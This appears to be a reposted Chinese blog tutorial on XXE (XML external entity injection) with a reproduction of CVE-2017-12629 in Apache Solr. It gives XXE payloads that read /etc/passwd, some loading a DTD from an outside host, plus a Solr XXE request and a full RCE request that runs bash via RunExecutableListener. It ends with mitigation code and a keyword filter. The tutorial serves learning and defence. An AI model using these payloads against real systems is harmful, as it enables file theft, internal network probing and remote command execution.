您的位置:首页 > 其它

浅浅浅浅谈XXE漏洞(附XXE攻击实例CVE-2017-12629)

2019-03-06 15:28 1456 查看
版权声明:本文为博主原创文章,未经博主允许不得转载。如有问题,欢迎指正。 https://blog.csdn.net/csacs/article/details/88220227

浅浅浅浅谈XXE漏洞(附XXE攻击实例CVE-2017-12629)

  • 我从未拥有过你一秒钟,心里却失去过你千万次。

XXE漏洞概述:

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造任意PAYLOAD,导致可读取任意文件、命令执行、探测内网信息、攻击内网网站等危害。

XXE漏洞基本概念:

  • 主要是对外部实体数据(XML,可自定义)进行处理时引发的漏洞。
  • XML 指可扩展标记语言,即允许用户对自己的标记语言进行定义的源语言。XML 的设计宗旨是传输数据,而非显示数据。
  • XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。如下图:

不同语言支持的不同协议

  • 引入外部实体方式有多种,主要这三个:
    (这些都是有回显的,无回显建议利用数据外带)

1.直接通过DTD外部实体声明

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY cat SYSTEM "file:///etc/passwd" >]>
<a>&cat;</a>

2.通过DTD文档引入外部DTD文档,再引入外部实体声明.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY cat SYSTEM "http://cat.com/cat.dtd" >]>
<a>&cat;</a>

//dtd文件内容 <!ENTITY cat SYSTEM "file:///etc/passwd">

3.通过DTD外部实体声明引入外部实体声明
简单来说就是,先写一个外部实体声明,然后引用自己构造的外部实体声明

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cat [<!ENTITY % cat SYSTEM "http://cat.com/cat.dtd" > %cat;]>
<a>&cat;</a>

//dtd文件内容 <!ENTITY cat SYSTEM "file:///etc/passwd">

简单利用:

  • 任意文件读取

  • 内网探测/SSRF
    可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

  • 命令执行
    在php中,要求php装有expect扩展,利用困难。

  • 等等

漏洞复现:

CVE-2017-12629:
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现,主要有两个漏洞XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。

XXEPAYLOAD:

select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://192.168.43.23:8000"><a></a>'}&wt=xml


RCEPAYLOAD:
注意两点:POST请求和Content-Type: application/json

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198

{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"bash",
"dir":"/bin/",
"args":["-c", "mkdir /tmp/1111111111"]
}
}

漏洞修复:

  • 使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

余生很长,请多指教。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: